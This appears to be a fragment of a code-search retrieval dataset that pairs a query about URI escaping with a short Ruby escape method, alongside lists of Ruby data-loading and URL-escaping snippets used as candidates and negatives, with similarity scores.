"def load(data)\n\t\t\t\treset\n\t\t\t\t@config = data['config'] unless data['config'].nil?\n\t\t\t\t@plugin_config = data['plugin-config'] unless data['plugin-config'].nil?\n\t\t\t\t@valid_domains = data['valid_domains'] unless data['valid_domains'].nil?\n\t\t\t\t@default_domains = data['default_domains'] unless data['default_domains'].nil?\n\t\t\t\t@partials = data['partials'] unless data['partials'].nil?\n\t\t\t\tunless data['domains'].nil?\n\t\t\t\t\tdata['domains'].each_pair do |name, domain_data|\n\t\t\t\t\t\t@domains[name].load(domain_data)\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\ttrue\n\t\t\tend",
"def load()\n\n checkFileExists()\n loadConfigs()\n checkConfigs() \n end",
"def load_from_file(path)\n YAML.load_file(path).each { |n,v| instance_variable_set(n, v) }\n end",
"def load_data(filename)\n a = {}\n\n if File.exist? filename\n File.foreach (filename) do |line|\n line = line.chomp.split(' ')\n a[line[0]] = Array.new if !a[line[0]]\n a[line[0]][0] = Array.new if !a[line[0]][0]\n a[line[0]][0] << line[1]\n a[line[0]][1] = Array.new if !a[line[0]][1]\n a[line[0]][2] = false\n end\n end\n\n return a\n end",
"def data_path name\n File.join File.dirname(__FILE__), 'data', \"#{ name }.yml\"\nend",
"def load_yaml(path) # Path must be in /data\n # path must be a yaml file path\n YAML.load_file(File.join(__dir__, \"../data/#{path}.yml\"))\n # YAML keys will be allways strings (never symbols)\n # Returns hash of values (strings)\nend",
"def load_fixtures(name)\n data = YAML.load_file File.join(File.dirname(__FILE__), \"#{name}.yml\")\n # hmm, how do I dynamically add instance variables? data.each { |k,v| @`k` = User.new data[k] }\n @user_1 = User.new data['user_1']\n @user_2 = User.new data['user_2']\n end",
"def load_database_yaml; end",
"def load_database_yaml; end",
"def load(path, env)\n yaml_safe_load(File.open(path).read)[env].each do |section, settings|\n section = instance_variable_get(\"@#{section}\")\n next unless section\n settings.each do |setting, value|\n unless section == @index || section == @source\n value = interpolate_string(value, nil)\n end\n setter(section, setting, value)\n end\n end\n end",
"def load\n connect\n with_project do |project_id|\n file, cfg_file = args\n raise(CommandFailed, \"Usage: #{$0} datasets:load <file> <dataset config>\") unless cfg_file\n config = JSON.load open(cfg_file) rescue raise(CommandFailed, \"Error reading dataset config file '#{cfg_file}'\")\n schema = Model::Schema.new config\n Project[project_id].upload file, schema\n end\n end",
"def load_data(data)\n data.keys.each do |key|\n if include?(key)\n self[key] = data[key]\n else\n env = DeploymentEnvironment.new\n env.name = key.to_s\n env.load_data(data[key])\n\n environments << key.to_s\n\n # register a child LYC to establish override hierarchy\n register_child(env, key)\n end\n end\n end",
"def load\n return unless File.exist? @config_path\n @files = YAML.load_file(@config_path)['files'].collect do |file|\n GistDep::File.load file\n end\n end",
"def data name\n File.read data_path(name)\nend",
"def load_data(args={})\n args = args.to_smash\n @resources = (args.delete(:resources) || []).each do |r|\n Resource.new(r)\n end\n @events = (args.delete(:events) || []).each do |e|\n Event.new(e)\n end\n super args\n end",
"def load_databag_json(filename)\n File.open(File.expand_path(\"../../data_bags/rubycas/#{filename}\", __FILE__), \"r\") { |f| MultiJson.load(f) }\nend",
"def load_member_data_from_yml\n\t\tyml_member = YAML.load_file 'library_member_data.yml'\n\t\tyml_member.each_key do |key| \n\t\t\[email protected](Member.new(key.to_i,yml_member[key]['mem_name']))\n\t\tend\n\t\t#puts \"#{yml_member.length} Member(s) loaded successfully\"\n\tend",
"def initialize_from_yaml(path)\n # FIXME: It would be a lot cleaner if the YAML library would raise an\n # exception if it fails to read the file. We'll handle it like this for now\n # load_file just returns \"false\" if it fails\n yaml_data = YAML.load_file(path)\n\n unless yaml_data.nil?\n raise InitializationError.new(\"Bad YAML format, key/value pairs expected\") unless yaml_data.kind_of?(Hash)\n\n yaml_data.each do |variable, value|\n self.store(variable, value)\n end\n end\n\n after_initialize\n dump\n end",
"def load_yaml_file(path)\n if (file = find_data_file(path))\n YAML.load_file(file)\n end\n end",
"def fill_from_yaml_file(filename)\n yml = File.read(File.join(User.recipes, filename), encoding: 'utf-8')\n fill_from_yaml(yml)\n @filename = filename\n end",
"def load\n eval(@data, TOPLEVEL_BINDING, @filename)\n end",
"def set_up_local_data\n Player.deserialize_from_file('players.dat')\n Game.deserialize_from_file('games.dat')\n Performance.deserialize_from_file('performance.dat')\n end",
"def load_directory(directory=nil)\n # Given a directory, it will load yml files and set instance variables that\n # match the basename without extention.\n list_files(directory,:all,'.yml').each do |file|\n name = File.basename(file,'.yml')\n self.class.send(:attr_accessor, name.intern)\n data = YamlLoader::yaml_load(file)\n self.send(\"#{name}=\",data)\n end\n end",
"def read_data(file)\n if ENV['RACK_ENV'] == 'test'\n local = File.expand_path(\"../test/data/#{file}\", __FILE__)\n else\n local = File.expand_path(\"../data/#{file}\", __FILE__)\n\n if USE_GOOGLE_DRIVE\n remote = google_session.file_by_title(file.to_s)\n remote.download_to_file(local)\n end\n end\n\n YAML.load_file(local)\nend",
"def initialize(config_dir: nil, path: nil, env: ENV, data: nil)\n super(\n self.class.namespaces.map do |name, namespace|\n config = data || begin\n path ||= File.expand_path('%s.yml' % namespace.config_name, config_dir || self.class.config_dir)\n\n Configature::Support.yaml_if_exist(path)\n end\n\n [\n name,\n Configature::Support.convert_hashes(\n Configature::Data,\n namespace.__instantiate(source: config, env: env)\n )\n ]\n end.to_h\n )\n end",
"def read!\n file = root + FILENAME\n if file.exist?\n data = YAML.load(File.new(file))\n data.each do |name, value|\n self[name] = value\n end\n end\n return self\n end",
"def load(filename)\n update! YAML.load_file(filename)\n end",
"def load_file(path)\n @configuration_data = YAML.load_file(path)[CONFIGURATION_KEY]\n end",
"def load_library(path)\n data = YAML.load_file(path)\n # maps the data to their proper language despcriptions\n data.map do |key, value|\n data[key] = { english: value[0], japanese: value[1] }\n end\n data\nend",
"def load_yaml(yaml_file)\n data = []\n YAML.load_stream(File.read yaml_file) { |f| data << f }\n return data\n end",
"def data_links\r\n puts \"pwd:\"\r\n puts Dir.pwd\r\n\r\n data = YAML.load_file( './data/links.yml' )\r\n puts data.inspect\r\n data\r\nend",
"def data_load\r\n unless $data_actors\r\n $data_actors = _clean_name_utf8(load_data(\"Data/Actors.rxdata\"))\r\n $data_classes = _clean_name_utf8(load_data(\"Data/Classes.rxdata\"))\r\n $data_enemies = _clean_name_utf8(load_data(\"Data/Enemies.rxdata\"))\r\n $data_troops = _clean_name_utf8(load_data(\"Data/Troops.rxdata\"))\r\n $data_tilesets = _clean_name_utf8(load_data(\"Data/Tilesets.rxdata\"))\r\n $data_common_events = _clean_name_utf8(load_data(\"Data/CommonEvents.rxdata\"))\r\n $data_system = load_data_utf8(\"Data/System.rxdata\")\r\n end\r\n $game_system = Game_System.new\r\n $game_temp = Game_Temp.new\r\n end",
"def loadData!\n v = validateWorkingDir!\n @plataforms = YAML::load_file(File.open(getWorkingDir+'/data.host', 'r'))\n if(@plataforms == false)\n @plataforms = Hash.new\n end\n return v\n end",
"def read_config_data(data, filename=nil)\n ConfigReader.new.read(data, filename)\n end",
"def data\n @data ||= Dir['data/*'].reduce({}) do |data, file|\n raw_data = File.read(file)\n filename = parse_filename(file)\n schema = schemas[filename]\n\n data[filename] = raw_data.split(\"\\n\").map do |row|\n schema.reduce({}) do |object, column|\n # slice from the beginning of the row the relevant number of\n # characters based on the column's attribute length\n raw_value = row.slice!(0, column[:length].to_i)\n\n parsed_value = parse_attribute(raw_value, column[:type])\n object[column[:name]] = parsed_value\n object\n end\n end\n end\n end",
"def load_data\n raise NotImplementedError\n end",
"def load_data(data_set)\n\t\tif data_set != :u\n\t\t\tload_hashes(\"#{data_set}.base\") # training set\n\t\t\tload_test(\"#{data_set}.test\") # test set\n\t\telse\n\t\t\tload_hashes(\"#{data_set}.data\") # training set\n\t\tend\n\tend",
"def load_book_data_from_yml\n\t\t@last_book_id=0\n\t\tyml_book = YAML.load_file 'library_book_data.yml'\n\t\tyml_book.each_key do |key| \n\t\t\[email protected](Book.new(key.to_i,yml_book[key]['book_name'],yml_book[key]['author_name'],yml_book[key]['issued_to'].to_i))\n\t\t\tif @last_book_id<key.to_i then\n\t\t\t\t@last_book_id=key.to_i\n\t\t\tend\n\t\tend\n\t\t#puts \"#{yml_book.length} Book(s) loaded successfully\"\n\tend",
"def load_yaml\n if has_file? \"#{name}.yml\"\n YAML.load_file(path / \"#{name}.yml\").apply_to self\n end\n end",
"def load_attributes\n @attributes = MultiJson.decode(File.new(file, 'r').read)\n end",
"def load\n #p 'loading ...'\n #p @name\n @rarray = Array.new\n begin\n dshash = YAML.load_file('db/'+@name+'.store') \n #p dshash\n #@rkeys = Array.new\n #p 'loading ...'\n dshash.each {|k,v| # converts strings into symbols\n cid = dshash[k][\"id\"]\n next if cid < 1 # do not transform if id < 1 \n #@rkeys << k\n rhash = Hash.new \n v.each {|k2,v2|\n #p k2\n #p v2\n rhash[k2.to_sym] = v2\n }\n @rarray << rhash\n }\n rescue\n p 'no file now' \n self.insert({:id=>0})\n end\n end",
"def load_from_dir dir\n Dir[File.join(dir,\"*.yml\")].each do |file|\n begin\n var_name = File.basename(file).gsub(/s\\.yml/,'')\n my_count = 0\n File.open(file) do |my_file|\n last_obj = nil\n while line = my_file.gets do\n if line == \"--- \\n\" #uj yaml objekt :)\n if last_obj\n o = YAML.load(last_obj) \n set_obj_val var_name,o.keys[0],o.values[0]\n my_count = my_count + 1\n end\n last_obj = ''\n end\n last_obj = last_obj + line\n end\n o = YAML.load(last_obj)\n set_obj_val var_name,o.keys[0],o.values[0]\n my_count = my_count + 1\n end\n\n try(\"puts \\\"Cache loaded @#{var_name}: #{my_count} instances from disk.\\\"\")\n rescue Exception => e\n puts \"Can not load #{file}.\"\n puts e.message\n end\n end\n end",
"def load_from_dir dir\n Dir[File.join(dir,\"*.yml\")].each do |file|\n begin\n var_name = File.basename(file).gsub(/s\\.yml/,'')\n my_count = 0\n File.open(file) do |my_file|\n last_obj = nil\n while line = my_file.gets do\n if line == \"--- \\n\" #uj yaml objekt :)\n if last_obj\n o = YAML.load(last_obj) \n set_obj_val var_name,o.keys[0],o.values[0]\n my_count = my_count + 1\n end\n last_obj = ''\n end\n last_obj = last_obj + line\n end\n o = YAML.load(last_obj)\n set_obj_val var_name,o.keys[0],o.values[0]\n my_count = my_count + 1\n end\n\n try(\"puts \\\"Cache loaded @#{var_name}: #{my_count} instances from disk.\\\"\")\n rescue Exception => e\n puts \"Can not load #{file}.\"\n puts e.message\n end\n end\n end",
"def load_config\n self.config = JSON.load(self.data)\n end",
"def load_config\n self.config = JSON.load(self.data)\n end",
"def load config_file\n YAML.load_file(config_file).each do |parameter,value|\n instance_variable_set( \"@#{parameter}\", value )\n end\n end",
"def load_file(path, name)\n data_file = PStore.new(path)\n data = nil\n data_file.transaction do\n data = data_file[name]\n end\n if data == nil\n data = Array.new\n end\n data\nend",
"def load name\n @name = name\n data = Oj.load File.read(name)\n old_data = as_json\n \n ATTRIBUTES.each do |attr|\n unless data.has_key? attr\n data = old_data\n puts \"data #{name} cannot be loaded, #{attr} not found in JSON...\"\n break\n end\n end\n \n @pixels = data['pixels']\n @width = data['width']\n @height = data['height']\n end",
"def pets\n load_yaml('personaje/pets')\nend",
"def load_yaml_data( file )\n yaml_data = {}\n yaml_data.merge!( File.open( file ) { |yf| YAML::load( yf ) } )\n\n return yaml_data\n end",
"def read_data_file(path); end",
"def load_attributes\n @attributes = YAML.load_file(file).inject({}){|h,(k,v)| h[k.to_sym] = v;h}\n end",
"def make_data_files_array(current_file)\n data_files = [\n ConfigData.real_path('default.yml')\n ]\n unless use_template_filename.nil?\n data_files.push use_template_filename\n end\n unless must_recreate\n data_files.push current_file\n end\n data_files\n end",
"def get_data\n\t\tdata_hash = {path: @data_file_path, training: @training_file_name, testing: @testing_file_name}\n\t\tDataLoader.new(data_hash)\n\tend",
"def data_files\n data_file_names.map! do |filename|\n Bitcask::DataFile.new filename\n end\n end",
"def loadyaml(filename) YAML.load_file(filename) end",
"def load(args)\n YAML::load_file(args[:file_name])\n end",
"def load_config\n input_file_paths =\n YAML.load_file('config/input_file_paths.yml')\n input_file_paths['input_file_paths'].each do |_, input_file_path|\n start input_file_path\n end\n end",
"def load_data(name, key, data = {})\n ChefSpec::ZeroServer.load_data(name, key, data)\n end",
"def load_data(dir_path,file_name=nil)\n \tloca_path='/Users/jinfenglin/Dropbox/cosi105b_jinfenglin/movies-2/'\n\t\tif file_name\n base=loca_path+dir_path+'/'+file_name.to_s+'.base'\n test=loca_path+dir_path+'/'+file_name.to_s+'.test'\n base_file=open(base)\n test_file=open(test)\n build_database(base_file,@base_data_user_key,@base_data_movie_key)\n build_database(test_file,@test_data_user_key,@test_data_movie_key)\n else\n path=loca_path+dir_path+'/u.data'\n file=open(path)\n build_database(file,@base_data_user_key,@base_data_movie_key)\n end\n end",
"def initialize config_path = 'gist-dep.yml'\n @files = []\n @config_path = config_path\n load\n end",
"def data\n return [] unless ::File.exist?(@locks_file)\n\n # opening up the file, and creating a shared lock\n handle = ::File.open(@locks_file, 'r')\n handle.flock(::File::LOCK_SH)\n\n # Reading data until the eof\n data = handle.read\n\n # We're all good\n handle.flock(::File::LOCK_UN)\n handle.close\n\n # Unserializing and checking if the resource file contains data for this file\n data = YAML.load(data)\n data || []\n end",
"def load(filename)\n\t\tend",
"def load_from_yml filename=\"hn.yml\"\n @arr = YAML::load( File.open( filename ) )\n next_url = @arr.last[:article_url]\n unless next_url.index(\"http\")\n next_url = @host + \"/\" + next_url\n end\n @more_url = next_url\n end",
"def load_from_filesystem(options)\n return if options[:skip_metadata]\n\n # Load localised data\n ignore_validation = options[:ignore_language_directory_validation]\n Loader.language_folders(options[:metadata_path], ignore_validation).each do |lang_folder|\n language = File.basename(lang_folder)\n (LOCALISED_VERSION_VALUES + LOCALISED_APP_VALUES).each do |key|\n path = File.join(lang_folder, \"#{key}.txt\")\n next unless File.exist?(path)\n\n UI.message(\"Loading '#{path}'...\")\n options[key] ||= {}\n options[key][language] ||= File.read(path)\n end\n end\n\n # Load non localised data\n (NON_LOCALISED_VERSION_VALUES + NON_LOCALISED_APP_VALUES).each do |key|\n path = File.join(options[:metadata_path], \"#{key}.txt\")\n next unless File.exist?(path)\n\n UI.message(\"Loading '#{path}'...\")\n options[key] ||= File.read(path)\n end\n\n # Load trade representative contact information\n options[:trade_representative_contact_information] ||= {}\n TRADE_REPRESENTATIVE_CONTACT_INFORMATION_VALUES.values.each do |option_name|\n path = File.join(options[:metadata_path], TRADE_REPRESENTATIVE_CONTACT_INFORMATION_DIR, \"#{option_name}.txt\")\n next unless File.exist?(path)\n next if options[:trade_representative_contact_information][option_name].to_s.length > 0\n\n UI.message(\"Loading '#{path}'...\")\n options[:trade_representative_contact_information][option_name] ||= File.read(path)\n end\n\n # Load review information\n options[:app_review_information] ||= {}\n REVIEW_INFORMATION_VALUES.values.each do |option_name|\n path = File.join(options[:metadata_path], REVIEW_INFORMATION_DIR, \"#{option_name}.txt\")\n next unless File.exist?(path)\n next if options[:app_review_information][option_name].to_s.length > 0\n\n UI.message(\"Loading '#{path}'...\")\n options[:app_review_information][option_name] ||= File.read(path)\n end\n end",
"def load\n sleeper = 0.0\n while File.exist? lock_file\n sleeper += 0.1 if sleeper <= 10.0\n sleep(sleeper.to_i)\n end\n # :symbolize_names does not play nicely with :create_additions\n tmp = JSON.parse(File.read(path),\n {:symbolize_names=>false, :create_additions=>true})\n @data = {}\n tmp.each_pair{ |k,v| self[k] = v }\n end",
"def load_items\n raise \"Fetcher YAML file for today couldn't be found\" unless File.exists?(FETCHER_YAML_FILE)\n @items = YAML.load_file(FETCHER_YAML_FILE)\n end",
"def load( dirname )\n\t\t\t@filename= File.join( dirname, \"ticket.yaml\" )\n\t\t\t@idstring = File.basename( dirname )[0..7]\n\t\t\tif File.file?( @filename )\n\t\t\t\t@data = YAML.load_file( @filename ) \n\t\t\tend \n\t\t\tloadComments\n\t\t\tloadAttachments\n\t\tend",
"def load_items\n return @items unless YAML.load_file(file)\n\n YAML.load_file(file).each do |key, texts|\n texts.each do |text|\n @items << Item.new(\"#{text} #{key}\") if key.to_s != '@done'\n end\n end\n @items\n end"
] |
[
"0.72465354",
"0.7212245",
"0.6749809",
"0.67061144",
"0.6604775",
"0.6597942",
"0.65941685",
"0.6581277",
"0.6564522",
"0.654543",
"0.65336084",
"0.6530803",
"0.6514636",
"0.64985144",
"0.6469331",
"0.6447375",
"0.6386359",
"0.6386359",
"0.63774276",
"0.63448846",
"0.63405603",
"0.63384",
"0.6315099",
"0.62840027",
"0.62635696",
"0.6258041",
"0.62550116",
"0.62521446",
"0.62305236",
"0.62251",
"0.6223047",
"0.6222236",
"0.6198238",
"0.6183471",
"0.6139261",
"0.61192703",
"0.6103157",
"0.60967225",
"0.6095928",
"0.6082531",
"0.6082531",
"0.607744",
"0.6071998",
"0.60534984",
"0.6050761",
"0.603738",
"0.5994106",
"0.59928143",
"0.5991246",
"0.59898525",
"0.598881",
"0.5980722",
"0.5977724",
"0.5963788",
"0.59622896",
"0.595071",
"0.59498364",
"0.5923513",
"0.5920632",
"0.5911318",
"0.5899181",
"0.5894541",
"0.5891651",
"0.588213",
"0.58767235",
"0.58715546",
"0.58618414",
"0.58589804",
"0.58490974",
"0.5841998",
"0.5832363",
"0.58272254",
"0.58121663",
"0.58076763",
"0.58076763",
"0.57995754",
"0.57995754",
"0.57992905",
"0.5795712",
"0.5791775",
"0.57888013",
"0.5776872",
"0.5774507",
"0.5773526",
"0.5773393",
"0.57719374",
"0.57646865",
"0.57515",
"0.5749836",
"0.5749612",
"0.57460827",
"0.5745665",
"0.57388747",
"0.5735881",
"0.57345045",
"0.5733885",
"0.5729454",
"0.5715387",
"0.57090026",
"0.57083404",
"0.5707648"
] |
0.0
|
-1
|
URI escapes. (CGI style space to +)
|
def escape(s)
URI.encode_www_form_component(s)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def uri_escape(input); end",
"def uri_escape\n str = xml_escape.gsub(/\\+/, '+')\n str = str.gsub(/\\s/, '+')\n end",
"def escape_uri(s); Rack::Utils.escape(s); end",
"def safe_escape(uri); end",
"def uri_escape(string)\n if string.nil?\n nil\n else\n CGI.escape(string.encode('UTF-8')).gsub('+', '%20').gsub('%7E', '~')\n end\n end",
"def escape(str)\n URI.escape str, /[:?\\/']/\nend",
"def uri_escape\n CGI.escape(self)\n end",
"def uri_escape(uri)\n URI::DEFAULT_PARSER.escape(uri).gsub('[', '%5B').gsub(']', '%5D')\n end",
"def uri_escape(str)\n str.split(//).map {|c| c.match(URI::UNSAFE) ? sprintf('%%%02x',c.ord).upcase : c }.join\nend",
"def uri_escape(str)\n str.split(//).map {|c| c.match(URI::UNSAFE) ? sprintf('%%%02x',c.ord).upcase : c }.join\nend",
"def encodeURI s\n URI.escape s, /[^A-Za-z0-9;,\\/?:@&=+$\\-_.!~*'()#]/\nend",
"def encode_spaces_in_uri str\n (str.include? ' ') ? (str.gsub ' ', '%20') : str\n end",
"def uri_encode(text)\n URI.escape(text, Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\"))\n end",
"def full_escape str\n str = str.gsub(\"+\",\"%2B\")\n str = ERB::Util.url_encode(str)\n\n if str[0] && str[0] == \".\"\n str = \"%2E\" + str[1..-1]\n end\n\n str\n end",
"def url_escape(string)\n return '' if string.blank?\n\n string.gsub(/([^ a-zA-Z0-9_.-]+)/n) do\n '%' + $1.unpack('H2' * $1.size).join('%').upcase\n end.tr(' ', '+')\n end",
"def uri_escape_key(string)\n if string.nil?\n nil\n else\n CGI.escape(string.encode('UTF-8')).gsub('+', '%20').gsub('%7E', '~').gsub(\"%2F\", \"/\")\n end\n end",
"def url_encode(string)\n string = CGI.escape string\n end",
"def escape(value)\n URI.escape(value, Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\"))\n end",
"def uri_encode(identifier)\n URI.escape(identifier)\n end",
"def urlescape\n @@uri_parser ||= URI::RFC2396_Parser.new\n @@uri_parser.escape(self)\n end",
"def urlencode\n #URI.escape(self)\n _rfc2396_parser.escape(self)\n end",
"def escape(str, unsafe = UNSAFE)\n # URI.escape is obsolete\"\n DEFAULT_PARSER.escape(str, unsafe)\n end",
"def url_encode\n Rack::Utils.escape self\n end",
"def h(str)\n URI.escape(str)\n end",
"def encoded_url\n CGI.escape(url)\n end",
"def escapeRFC3986(str)\r\n return URI.escape(str, /[^A-Za-z0-9\\-_.~]/)\r\nend",
"def escape_value(value)\n CGI.escape(value.to_s).gsub('%20', '+')\n end",
"def encode(string)\n URI.escape(string)\n end",
"def cgi_escape(input); end",
"def uri_unescape\n tr('+', ' ').gsub(/((?:%[0-9a-fA-F]{2})+)/n){[$1.delete('%')].pack('H*')}\n end",
"def escape_path(path)\n path.gsub(' ', '+')\n end",
"def cgi_escape(string)\n CGI.escape(string).gsub(\"+\", \" \")\n end",
"def percent_encode(str)\n # Replaced deprecated URI.escape with CGI.escape\n # CGI.escape replaces spaces with \"+\", so we also need to substitute them with \"%20\"\n CGI.escape(str).gsub('+', '%20')\n end",
"def escapeRFC3986(str)\n return URI.escape(str,/[^A-Za-z0-9\\-_.~]/)\nend",
"def pre_escape_query(query)\n # have to include apostrophe in here too, even though it's NOT\n # in the docs reserved list (and does not generally require URI escaping,\n # in theory) -- still need to double escape it to avoid YBoss returning\n # ' in suggestions! \n #\n # Do not need to double escape spaces even though they do need URI escaping. \n #\n # We are telling it ONLY to escape our list of punctuation that causes\n # trouble for YBoss unless double-escaped. Which means it won't escape\n # diacritics and other non-latin. Which means the output is still UTF8, \n # but ruby URI.escape incorrectly tags it \"ascii\", which causes probelms\n # later with illegal bytes -- so we need to retag as UTF-8 \n return URI.escape(query, \"/?&;:@,$=%\\\"#*<>{}|[]^\\\\`()'\").force_encoding(\"UTF-8\")\n end",
"def check_and_escape(url)\n check url\n CGI.escape url\n end",
"def escape_link(link)\n link.gsub(' ', '%20')\n end",
"def encode_param text\n CGI::escape(text).gsub(\"+\", \"%20\").gsub(\"%\", \"%25\")\n end",
"def url_encode(s)\n s.to_s.b.gsub(/[^a-zA-Z0-9_\\-.]/n) { |m|\n sprintf(\"%%%02X\", m.unpack(\"C\")[0])\n }\n end",
"def url_encode(s)\n s.to_s.b.gsub(/[^a-zA-Z0-9_\\-.~]/n) { |m|\n sprintf(\"%%%02X\", m.unpack1(\"C\"))\n }\n end",
"def escape(s)\n s.to_s.gsub(\"+\", \"%2B\")\n end",
"def unescape_uri(uri); end",
"def escapeRFC3986(str)\n return URI.escape(str,/[^A-Za-z0-9\\-_.~]/)\n end",
"def escapeRFC3986(str)\n return URI.escape(str,/[^A-Za-z0-9\\-_.~]/)\n end",
"def safe_encode(string)\n CGI::escape(string).gsub(/\\+/, '%20')\n end",
"def escape(str); end",
"def escape(str)\n str.gsub(' ', '%20')\n end",
"def safe_encode value\n value = URI.encode_www_form_component(value).gsub(/\\+/,'%20').gsub(/\\*/,'%2A').gsub(/%7E/,'~')\n end",
"def urlify(string)\n string.strip.gsub(/ /, '%20')\n end",
"def url_encode(string) \r\n encoded_string = ''\r\n string.each_char do |char|\r\n char = (\"%%%02X\" % char.ord) if char.match(/[A-Za-z0-9]/) == nil\r\n encoded_string << char\r\n end\r\n return encoded_string\r\n end",
"def url_encode(string) \r\n encoded_string = ''\r\n string.each_char do |char|\r\n char = (\"%%%02X\" % char.ord) if char.match(/[A-Za-z0-9]/) == nil\r\n encoded_string << char\r\n end\r\n return encoded_string\r\n end",
"def url_encode(param)\n URI.escape(param, Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\"))\n end",
"def escape(string); end",
"def likeEscape( str )\n str.gsub( \"\\\\\", \"\\\\\\\\\" ).gsub( \"%\", \"\\%\" ).gsub( \"_\", \"\\_\" )\n end",
"def encode_URI_Component(path)\n return \"/\" + ERB::Util.url_encode(path)\n end",
"def process_uri(uri)\n URI.parse(URI.escape(URI.unescape(uri)))\n end",
"def process_uri(uri)\n URI.parse(URI.escape(URI.unescape(uri)))\n end",
"def escape_query(query)\n # backslash escape doesn't seem to work\n #query.gsub(/([\\\\\\(\\)\\:])/) do |match|\n # \"\\\\#{$1}\"\n #end\n query.gsub(/([\\\\\\(\\)\\:])/, ' ')\n end",
"def escape(str)\n CGI.escape(str)\n end",
"def encode_uri_component(uri_component)\n URI.encode_www_form_component(uri_component)\n end",
"def escape_param(param) # :nodoc:\n URI::escape(param.to_s, Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\"))\n end",
"def path_encode(path, *args)\n arguments = []\n args.each do |arg|\n arguments.push(CGI.escape(CGI.unescape(arg.to_s)))\n end\n\n format(path, *arguments)\n end",
"def urlify(input)\n input.gsub(' ', '%20')\nend",
"def url_utf8(raw_url)\n URI::escape(raw_url)\n end",
"def _encode(source)\n source.gsub(' ','_').gsub(/%.<.+?>/) { |match|\n CGI.escape(match[3..-2]).gsub('%', match[1..1])\n }\n end",
"def path_encode(path)\n CGI.escape(path.encode(Encoding::UTF_8))\n end",
"def expand_uri(uri, options)\n uri.gsub(/\\{(.*?)\\}/) { URI.encode( (options[$1] || options[$1.to_sym] || '').to_s ) rescue '' }\n end",
"def escape(string)\n string.gsub(/([^ a-zA-Z0-9_.-]+)/n) do\n '%' + $1.unpack('H2' * $1.size).join('%').upcase\n end.tr(' ', '+')\t\n\tend",
"def escape(s); s.to_s.gsub(/([^ a-zA-Z0-9_.-]+)/n){'%'+$1.unpack('H2'*$1.size).join('%').upcase}.tr(' ', '+') end",
"def u(str)\n CGI.escape(str)\n end",
"def encodeURIComponent(componentString)\n ::URI::URIEncodeComponent(componentString)\nend",
"def escape(string)\n return \"\" if string.nil?\n string = ':' + string.to_s if string.kind_of? Symbol\n string.gsub(\"\\\\\", \"\\\\\\\\\").gsub(\"&\", \"\\&\").gsub(\":\", \"\\:\").gsub(\"/\", \"\\/\")\n end",
"def add_params_to_uri uri, params\n if uri.include? '?'\n \"#{uri}&#{params}\"\n else\n \"#{uri}?#{params}\"\n end\n end",
"def escape(s)\n s.to_s.gsub(/([^ a-zA-Z0-9_.-]+)/n) {\n '%' + $1.unpack('H2' * bytesize($1)).join('%').upcase\n }.tr(' ', '+')\n end",
"def escape(string)\n string.gsub(/([\\<\\>\\:\\\"\\/\\\\\\|\\?\\*]+)/n) do\n '%' + $1.unpack('H2' * $1.size).join('%').upcase\n end.tr(' ', '_')\n end",
"def escape_characters(string)\n ['&','-','?','|','!',\"'\",'+'].each do |syn_char|\n string = string.gsub(syn_char,'\\\\\\\\' + \"#{syn_char}\")\n end\n return string\n end",
"def encode_uri(uri)\n uri = uri.join(\"/\") if uri.class == Array\n additional_encoding(URI.parse(URI.encode(uri)).to_s)\n end",
"def URLify(string)\n string.strip.gsub(\" \", \"%20\")\nend",
"def encode_URI(path)\n # For each component in the path, URL encode it and add it\n # to the array path component.\n path_components = []\n path.split(\"/\").each do |str|\n path_components << ERB::Util.url_encode(str)\n end\n # Prefix and join the encoded path components.\n \"/#{path_components.join('/')}\"\n end",
"def urlify(string)\n\tif string.include?(' ') == true\n\t\tstring.gsub!(' ', '%20')\n\telse\n\t\tstring\n\tend\nend",
"def quoteparam_part(part); part.gsub('&&', \"\\x00\\x00\\x00\").gsub(\"|\", \"\\x00\\x00\"); end",
"def clean_query_string(q)\n ERB::Util.url_encode(q.gsub(/-|\\(|\\)|:/, \"\"))\n end",
"def escape_redirect(url)\n uri = URI.parse(url)\n \"\".html_safe + uri.path + '?' + uri.query.html_safe\n end",
"def escape(str)\n str.to_s.gsub(/\\\\/, '\\&\\&').gsub(/'/, \"''\").force_encoding('US-ASCII')\n end",
"def percent_encode(str)\n URI.encode(str, /[^a-zA-Z0-9\\-\\.\\_\\~]/)\n end",
"def escape_query_value(s)\n s.to_s.gsub(/([^ a-zA-Z0-9_.-]+)/u) {\n '%'+$1.unpack('H2'*bytesize($1)).join('%').upcase\n }.tr(' ', '+')\n end",
"def encode_key(key)\n @uri_parser.escape(key, /[^-_.a-zA-Z0-9]/n) # //n switch means explicit 'ASCII-8BIT' pattern\n end",
"def escape(string)\n string.gsub(/([^a-zA-Z0-9_.\\-~\\/]+)/) {\n \"%\" + $1.unpack(\"H2\" * $1.bytesize).join(\"%\").upcase\n }\n end",
"def escape_url(url)\n url.blank? ? nil : url.gsub(/\\./, '-dot-').gsub(/\\//, '-slash-')\n end",
"def urlify\n return self.strip.gsub(/\\s+/, \"%20\")\n end",
"def escape_url(url)\n add_anchor_to_url escape_path(url), get_anchor(url)\n end",
"def escape(str)\n str = str.to_date.strftime(\"%Y-%m-%d\\t0:00:00\\t%Z\") if \n [Date, DateTime, Time].include?(str.class)\n URI.escape(str.to_s, Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\"))\n end",
"def urlify(url)\n p url.tr(' ', '%20')\n url.gsub!(/ /, '')\nend",
"def path_encode(path)\n Addressable::URI.escape(path.encode(Encoding::UTF_8))\n end",
"def escape(s)\n s.gsub(/[&<>｀]/, \"&\" => \"&\", \"<\" => \"<\", \">\" => \">\", \"｀\" => \"`\")\n end",
"def e(value)\n CGI.escape(value)\n end",
"def URLify(str)\n words = str.split(\" \")\n words.join(\"%20\")\nend",
"def escape(str, unsafe = @regexp[:UNSAFE])\n unless unsafe.kind_of?(Regexp)\n # perhaps unsafe is String object\n unsafe = Regexp.new(\"[#{Regexp.quote(unsafe)}]\", false)\n end\n str.gsub(unsafe) do\n us = $&\n tmp = ''\n us.each_byte do |uc|\n tmp << sprintf('%%%02X', uc)\n end\n tmp\n end.force_encoding(Encoding::US_ASCII)\n end",
